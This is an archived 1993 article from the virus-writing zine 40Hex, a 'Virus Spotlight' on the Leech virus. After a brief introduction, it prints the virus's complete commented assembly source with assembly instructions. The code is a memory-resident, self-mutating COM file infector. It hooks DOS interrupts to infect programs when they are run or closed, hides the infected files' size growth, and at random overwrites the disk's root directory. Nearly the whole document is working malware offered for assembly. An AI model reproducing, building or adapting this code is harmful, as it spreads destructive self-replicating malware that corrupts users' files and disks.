home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-11.zip / 40HEX-11.005 < prev    next >
Text File  |  1993-06-01  |  22KB  |  565 lines

  1. 40Hex Issue 11 Volume 3 Number 2                                      File 005
  2.  
  3.                           Virus Spotlight on: Leech
  4.  
  5.      This month's virus is a Bulgarian creation known as Leech.  It is mildly
  6. polymorphic, implementing a simple code swapping algorithm.  It infects on
  7. file executes and file closes.  The infections upon file closes is especially
  8. noteworthy; look closely at the manipulation of the system file table (and see
  9. the related article in this issue of 40Hex for more details).  This resident,
  10. COM-specific infector also hides file length increases, although the stupid
  11. CHKDSK error will occur.
  12.  
  13.                                                -- Dark Angel
  14.                                                   Phalcon/Skism
  15. -------------------------------------------------------------------------------
  16.                 .model  tiny
  17.                 .code
  18.                 org     0
  19. ; Leech virus
  20. ; Disassembly by Dark Angel of Phalcon/Skism
  21. ; Assemble with Tasm /m Leech.asm
  22.  
  23. virlength       =       (readbuffer - leech)
  24. reslength       =       (((encrypted_file - leech + 15) / 16) + 2)
  25.  
  26. leech:
  27.                 jmp     short enter_leech
  28.  
  29. filesize        dw      offset carrier
  30. oldint21        dw      0, 0
  31. oldint13        dw      0, 0
  32. oldint24        dw      0, 0
  33. datestore       dw      0
  34. timestore       dw      0
  35. runningflag     db      1
  36. evenodd         dw      0
  37.  
  38. enter_leech:
  39.                 call    next
  40. next:
  41.                 pop     si
  42. mutatearea1:
  43.                 cli
  44.                 push    ds                      ; Why?
  45.                 pop     es
  46.                 mov     bp,sp                   ; save sp
  47.                 mov     sp,si                   ; sp = offset next
  48.                 add     sp,encrypt_value1 - 1 - next
  49. mutatearea2:
  50.                 mov     cx,ss                   ; save ss
  51.                 mov     ax,cs
  52.                 mov     ss,ax                   ; ss = PSP
  53.                 pop     bx                      ; get encryption value
  54.                 dec     sp
  55.                 dec     sp
  56.                 add     si,startencrypt - next
  57.                 nop
  58. decrypt:
  59. mutatearea3:
  60.                 pop     ax
  61.                 xor     al,bh                   ; decrypt away!
  62.                 push    ax
  63.                 dec     sp
  64.                 cmp     sp,si
  65.                 jae     decrypt
  66. startencrypt:
  67.                 mov     ax,es
  68.                 dec     ax
  69.                 mov     ds,ax                   ; ds->MCB
  70.                 db      81h,6,3,0               ;add word ptr ds:[3],-reslength
  71.                 dw      0 - reslength
  72.                 mov     bx,ds:[3]               ; bx = memory size
  73.                 mov     byte ptr ds:[0],'Z'     ; mark end of chain
  74.                 inc     ax                      ; ax->PSP
  75.                 inc     bx
  76.                 add     bx,ax                   ; bx->high area
  77.                 mov     es,bx                   ; as does es
  78.                 mov     ss,cx                   ; restore ss
  79.                 add     si,leech - startencrypt
  80.                 mov     bx,ds                   ; save MCB segment
  81.                 mov     ds,ax
  82.                 mov     sp,bp                   ; restore sp
  83.                 push    si
  84.                 xor     di,di
  85.                 mov     cx,virlength            ; 1024 bytes
  86.                 cld
  87.                 rep     movsb
  88.                 pop     si
  89.                 push    bx
  90.                 mov     bx,offset highentry
  91.                 push    es
  92.                 push    bx
  93.                 retf                            ; jmp to highentry in
  94.                                                 ; high memory
  95. highentry:
  96.                 mov     es,ax                   ; es->PSP
  97.                 mov     ax,cs:filesize
  98.                 add     ax,100h                 ; find stored area
  99.                 mov     di,si
  100.                 mov     si,ax
  101.                 mov     cx,virlength
  102.                 rep     movsb                   ; and restore over virus code
  103.                 pop     es                      ; MCB
  104.                 xor     ax,ax
  105.                 mov     ds,ax                   ; ds->interrupt table
  106.                 sti
  107.                 cmp     word ptr ds:21h*4,offset int21 ; already resident?
  108.                 jne     go_resident
  109.                 db      26h,81h,2eh,3,0         ;sub word ptr es:[3],-reslength
  110.                 dw      0 - reslength           ; alter memory size
  111.                 test    byte ptr ds:[46Ch],0E7h ; 1.17% chance of activation
  112.                 jnz     exit_virus
  113.                 push    cs
  114.                 pop     ds
  115.                 mov     si,offset message
  116. display_loop:                                   ; display ASCIIZ string
  117.                 lodsb                           ; get next character
  118.                 or      al,0                    ; exit if 0
  119.                 jz      exit_display_loop
  120.                 mov     ah,0Eh                  ; otherwise write character
  121.                 int     10h
  122.  
  123.                 jmp     short display_loop
  124. exit_display_loop:
  125.                 mov     ah,32h                  ; Get DPB -> DS:BX
  126.                 xor     dl,dl
  127.                 int     21h
  128.                 jc      exit_virus              ; exit on error
  129.  
  130.                 call    getint13and24
  131.                 call    setint13and24
  132.                 mov     dx,[bx+10h]             ; first sector of root
  133.                                                 ; directory
  134.                                                 ; BUG: won't work in DOS 4+
  135.                 mov     ah,19h                  ; default drive -> al
  136.                 int     21h
  137.  
  138.                 mov     cx,2                    ; overwrite root directory
  139.                 int     26h
  140.  
  141.                 pop     bx
  142.                 call    setint13and24           ; restore int handlers
  143. exit_virus:
  144.                 jmp     returnCOM
  145. go_resident:
  146.                 db      26h, 81h, 6, 12h, 0     ;add word ptr es:12h,-reslength
  147.                 dw      0 - reslength           ; alter top of memory in PSP
  148.                 mov     bx,ds:46Ch              ; BX = random #
  149.                 push    ds
  150.                 push    cs
  151.                 pop     ds
  152.                 push    cs
  153.                 pop     es
  154.                 mov     runningflag,1           ; reset flag
  155.                 and     bh,80h
  156.                 mov     nothing1,bh
  157. mutate1:
  158.                 test    bl,1
  159.                 jnz     mutate2
  160.                 mov     si,offset mutatearea1
  161.                 add     si,evenodd
  162.                 lodsb
  163.                 xchg    al,[si]                 ; swap instructions
  164.                 mov     [si-1],al
  165. mutate2:
  166.                 test    bl,2
  167.                 jnz     mutate3
  168.                 mov     si,offset mutatearea2
  169.                 add     si,evenodd
  170.                 lodsw
  171.                 xchg    ax,[si]                 ; swap instructions
  172.                 mov     [si-2],ax
  173. mutate3:
  174.                 test    bl,4
  175.                 jnz     mutate4
  176.                 mov     si,offset mutatearea3
  177.                 mov     al,2
  178.                 xor     [si],al                 ; flip between ax & dx
  179.                 xor     [si+2],al
  180.                 xor     [si+3],al
  181. mutate4:
  182.                 test    bl,8
  183.                 jnz     findint21
  184.                 mov     si,offset next
  185.                 mov     di,offset readbuffer
  186.                 mov     cx,offset enter_leech
  187.                 push    si
  188.                 push    di
  189.                 lodsb
  190.                 cmp     al,5Eh                  ; 1 byte pop si?
  191.                 je      now_single_byte_encode
  192.                 inc     si                      ; skip second byte of two
  193.                                                 ; byte encoding of pop si
  194. now_single_byte_encode:
  195.                 push    cx
  196.                 rep     movsb
  197.                 pop     cx
  198.                 pop     si
  199.                 pop     di
  200.                 cmp     al,5Eh                  ; 1 byte pop si?
  201.                 je      encode_two_bytes        ; then change to 2
  202.                 mov     al,5Eh                  ; encode a pop si
  203.                 stosb
  204.                 rep     movsb                   ; then copy decrypt over
  205.                 mov     al,90h                  ; plus a nop to keep virus
  206.                 stosb                           ; length constant
  207.                 xor     ax,ax                   ; clear the flag
  208.                 jmp     short set_evenodd_flag
  209. encode_two_bytes:
  210.                 mov     ax,0C68Fh               ; encode a two byte form of
  211.                 stosw                           ; pop si
  212.                 rep     movsb
  213.                 mov     ax,1                    ; set evenodd flag
  214. set_evenodd_flag:
  215.                 mov     cs:evenodd,ax
  216. findint21:
  217.                 mov     ah,30h                  ; Get DOS version
  218.                 int     21h
  219.  
  220.                 cmp     ax,1E03h                ; DOS 3.30?
  221.                 jne     notDOS33
  222.  
  223.                 mov     ah,34h                  ; Get DOS critical error ptr
  224.                 int     21h
  225.  
  226.                 mov     bx,1460h                ; int 21h starts here
  227.                 jmp     short alterint21
  228. notDOS33:
  229.                 mov     ax,3521h                ; just get current int 21 handler
  230.                 int     21h
  231. alterint21:
  232.                 mov     oldint21,bx
  233.                 mov     word ptr ds:oldint21+2,es
  234.                 mov     si,21h*4                ; save old int 21 handler
  235.                 pop     ds                      ; found in interrupt table
  236.                 push    si
  237.                 push    cs
  238.                 pop     es
  239.                 mov     di,offset topint21
  240.                 movsw
  241.                 movsw
  242.                 pop     di                      ; and put new one in
  243.                 push    ds
  244.                 pop     es
  245.                 mov     ax,offset int21
  246.                 stosw
  247.                 mov     ax,cs
  248.                 stosw
  249.  
  250.                 mov     di,offset startencrypt
  251.                 mov     al,cs:encrypt_value1     ; decrypt original program code
  252. decryptcode:
  253.                 xor     cs:[di],al
  254.                 inc     di
  255.                 cmp     di,offset decryptcode
  256.                 jb      decryptcode
  257. returnCOM:
  258.                 mov     ah,62h                  ; Get current PSP
  259.                 int     21h
  260.  
  261.                 push    bx                      ; restore segment registers
  262.                 mov     ds,bx
  263.                 mov     es,bx
  264.                 mov     ax,100h
  265.                 push    ax
  266.                 retf                            ; Return to PSP:100h
  267.  
  268. infect:
  269.                 push    si
  270.                 push    ds
  271.                 push    es
  272.                 push    di
  273.                 cld
  274.                 push    cs
  275.                 pop     ds
  276.                 xor     dx,dx                   ; go to start of file
  277.                 call    movefilepointer
  278.                 mov     dx,offset readbuffer    ; and read 3 bytes
  279.                 mov     ah,3Fh
  280.                 mov     cx,3
  281.                 call    callint21
  282.                 jc      exiterror
  283.  
  284.                 xor     di,di
  285.                 mov     ax,readbuffer
  286.                 mov     cx,word ptr ds:[0]
  287.                 cmp     cx,ax                   ; check if already infected
  288.                 je      go_exitinfect
  289.                 cmp     al,0EBh                 ; jmp short?
  290.                 jne     checkifJMP
  291.                 mov     al,ah
  292.                 xor     ah,ah
  293.                 add     ax,2
  294.                 mov     di,ax                   ; di = jmp location
  295. checkifJMP:
  296.                 cmp     al,0E9h                 ; jmp?
  297.                 jne     checkifEXE              ; nope
  298.                 mov     ax,word ptr readbuffer+1
  299.                 add     ax,3
  300.                 mov     di,ax                   ; di = jmp location
  301.                 xor     ax,ax
  302. checkifEXE:
  303.                 cmp     ax,'MZ'
  304.                 je      exiterror
  305.                 cmp     ax,'ZM'
  306.                 jne     continue_infect
  307. exiterror:
  308.                 stc
  309. go_exitinfect:
  310.                 jmp     short exitinfect
  311.                 nop
  312. continue_infect:
  313.                 mov     dx,di
  314.                 push    cx
  315.                 call    movefilepointer         ; go to jmp location
  316.                 mov     dx,virlength            ; and read 1024 more bytes
  317.                 mov     ah,3Fh
  318.                 mov     cx,dx
  319.                 call    callint21
  320.                 pop     cx
  321.                 jc      exiterror
  322.                 cmp     readbuffer,cx
  323.                 je      go_exitinfect
  324.                 mov     ax,di
  325.                 sub     ah,0FCh
  326.                 cmp     ax,filesize
  327.                 jae     exiterror
  328.                 mov     dx,filesize
  329.                 call    movefilepointer
  330.                 mov     dx,virlength            ; write virus to middle
  331.                 mov     cx,dx                   ; of file
  332.                 mov     ah,40h
  333.                 call    callint21
  334.                 jc      exitinfect
  335.                 mov     dx,di
  336.                 call    movefilepointer
  337.                 push    cs
  338.                 pop     es
  339.                 mov     di,offset readbuffer
  340.                 push    di
  341.                 push    di
  342.                 xor     si,si
  343.                 mov     cx,di
  344.                 rep     movsb
  345.                 mov     si,offset encrypt_value2
  346.                 mov     al,encrypted_file
  347. encryptfile:                                    ; encrypt infected file
  348.                 xor     [si],al
  349.                 inc     si
  350.                 cmp     si,7FFh
  351.                 jb      encryptfile
  352.                 pop     cx
  353.                 pop     dx
  354.                 mov     ah,40h                  ; and write it to end of file
  355.                 call    callint21
  356. exitinfect:
  357.                 pop     di
  358.                 pop     es
  359.                 pop     ds
  360.                 pop     si
  361.                 retn
  362.  
  363. int21:
  364.                 cmp     ax,4B00h                ; Execute?
  365.                 je      execute
  366.                 cmp     ah,3Eh                  ; Close?
  367.                 je      handleclose
  368.                 cmp     ah,11h                  ; Find first?
  369.                 je      findfirstnext
  370.                 cmp     ah,12h                  ; Find next?
  371.                 je      findfirstnext
  372. exitint21:
  373.                 db      0EAh                    ; jmp far ptr
  374. topint21        dw      0, 0
  375.  
  376. findfirstnext:
  377.                 push    si
  378.                 mov     si,offset topint21
  379.                 pushf
  380.                 call    dword ptr cs:[si]       ; call int 21 handler
  381.                 pop     si
  382.                 push    ax
  383.                 push    bx
  384.                 push    es
  385.                 mov     ah,2Fh                  ; Get DTA
  386.                 call    callint21
  387.                 cmp     byte ptr es:[bx],0FFh   ; extended FCB?
  388.                 jne     noextendedFCB
  389.                 add     bx,7                    ; convert to normal
  390. noextendedFCB:
  391.                 mov     ax,es:[bx+17h]          ; Get time
  392.                 and     ax,1Fh                  ; and check infection stamp
  393.                 cmp     ax,1Eh
  394.                 jne     exitfindfirstnext
  395.                 mov     ax,es:[bx+1Dh]
  396.                 cmp     ax,virlength * 2 + 1    ; too small for infection?
  397.                 jb      exitfindfirstnext       ; then not infected
  398.                 sub     ax,virlength            ; alter file size
  399.                 mov     es:[bx+1Dh],ax
  400. exitfindfirstnext:
  401.                 pop     es
  402.                 pop     bx
  403.                 pop     ax
  404.                 iret
  405.  
  406. int24:
  407.                 mov     al,3
  408.                 iret
  409.  
  410. callint21:
  411.                 pushf
  412.                 call    dword ptr cs:oldint21
  413.                 retn
  414.  
  415. movefilepointer:
  416.                 xor     cx,cx
  417.                 mov     ax,4200h
  418.                 call    callint21
  419.                 retn
  420.  
  421. execute:
  422.                 push    ax
  423.                 push    bx
  424.                 mov     cs:runningflag,0
  425.                 mov     ax,3D00h                ; open file read/only
  426.                 call    callint21
  427.                 mov     bx,ax
  428.                 mov     ah,3Eh                  ; close file
  429.                 int     21h                     ; to trigger infection
  430.  
  431.                 pop     bx
  432.                 pop     ax
  433. go_exitint21:
  434.                 jmp     short exitint21
  435.  
  436. handleclose:
  437.                 or      cs:runningflag,0        ; virus currently active?
  438.                 jnz     go_exitint21
  439.                 push    cx
  440.                 push    dx
  441.                 push    di
  442.                 push    es
  443.                 push    ax
  444.                 push    bx
  445.                 call    getint13and24
  446.                 call    setint13and24
  447. ; convert handle to filename
  448.                 mov     ax,1220h                ; get job file table entry
  449.                 int     2Fh
  450.                 jc      handleclose_noinfect    ; exit on error
  451.  
  452.                 mov     ax,1216h                ; get address of SFT
  453.                 mov     bl,es:[di]
  454.                 xor     bh,bh
  455.                 int     2Fh                     ; es:di->file entry in SFT
  456.  
  457.                 mov     ax,es:[di+11h]
  458.                 mov     cs:filesize,ax          ; save file size,
  459.                 mov     ax,es:[di+0Dh]
  460.                 and     al,0F8h
  461.                 mov     cs:timestore,ax         ; time,
  462.                 mov     ax,es:[di+0Fh]
  463.                 mov     cs:datestore,ax         ; and date
  464.                 cmp     word ptr es:[di+29h],'MO' ; check for COM extension
  465.                 jne     handleclose_noinfect
  466.                 cmp     byte ptr es:[di+28h],'C'
  467.                 jne     handleclose_noinfect
  468.                 cmp     cs:filesize,0FA00h      ; make sure not too large
  469.                 jae     handleclose_noinfect
  470.                 mov     al,20h                  ; alter file attribute
  471.                 xchg    al,es:[di+4]
  472.                 mov     ah,2                    ; alter open mode to read/write
  473.                 xchg    ah,es:[di+2]
  474.                 pop     bx
  475.                 push    bx
  476.                 push    ax
  477.                 call    infect
  478.                 pop     ax
  479.                 mov     es:[di+4],al            ; restore file attribute
  480.                 mov     es:[di+2],ah            ; and open mode
  481.                 mov     cx,cs:timestore
  482.                 jc      infection_not_successful
  483.                 or      cl,1Fh                  ; make file infected in
  484.                 and     cl,0FEh                 ; seconds field
  485. infection_not_successful:
  486.                 mov     dx,cs:datestore         ; restore file time/date
  487.                 mov     ax,5701h
  488.                 call    callint21
  489. handleclose_noinfect:
  490.                 pop     bx
  491.                 pop     ax
  492.                 pop     es
  493.                 pop     di
  494.                 pop     dx
  495.                 pop     cx
  496.                 call    callint21
  497.                 call    setint13and24
  498.                 retf    2                       ; exit with flags intact
  499.  
  500. getint13and24:
  501.                 mov     ah,13h                  ; Get BIOS int 13h handler
  502.                 int     2Fh
  503.                 mov     cs:oldint13,bx
  504.                 mov     cs:oldint13+2,es
  505.  
  506.                 int     2Fh                     ; Restore it
  507.  
  508.                 mov     cs:oldint24,offset int24
  509.                 mov     cs:oldint24+2,cs
  510.                 retn
  511.  
  512. setint13and24:
  513.                 push    ax
  514.                 push    si
  515.                 push    ds
  516.                 pushf
  517.                 cli
  518.                 cld
  519.                 xor     ax,ax
  520.                 mov     ds,ax                   ; ds->interrupt table
  521.  
  522.                 mov     si,13h*4
  523.                 lodsw
  524.                 xchg    ax,cs:oldint13          ; replace old int 13 handler
  525.                 mov     [si-2],ax               ; with original BIOS handler
  526.                 lodsw
  527.                 xchg    ax,cs:oldint13+2
  528.                 mov     [si-2],ax
  529.  
  530.                 mov     si,24h*4                ; replace old int 24 handler
  531.                 lodsw                           ; with our own handler
  532.                 xchg    ax,cs:oldint24
  533.                 mov     [si-2],ax
  534.                 lodsw
  535.                 xchg    ax,cs:oldint24+2
  536.                 mov     [si-2],ax
  537.                 popf
  538.                 pop     ds
  539.                 pop     si
  540.                 pop     ax
  541.                 retn
  542.  
  543. message         db      'The leech live ...', 0
  544.                 db      'April 1991  The Topler.'
  545.  
  546.                 db      0, 0, 0, 0, 0
  547.  
  548. encrypt_value1  db      0
  549. readbuffer      dw      0
  550.                 db      253 dup (0)
  551.  
  552. nothing1        db      0
  553.                 db      152 dup (0)
  554. encrypt_value2  db      0
  555.                 db      614 dup (0)
  556. encrypted_file  db      0
  557.                 db      1280 dup (0)
  558. carrier:
  559.                 dw      20CDh
  560.  
  561.                 end     leech
  562. -------------------------------------------------------------------------------
  563.  
  564.  
  565.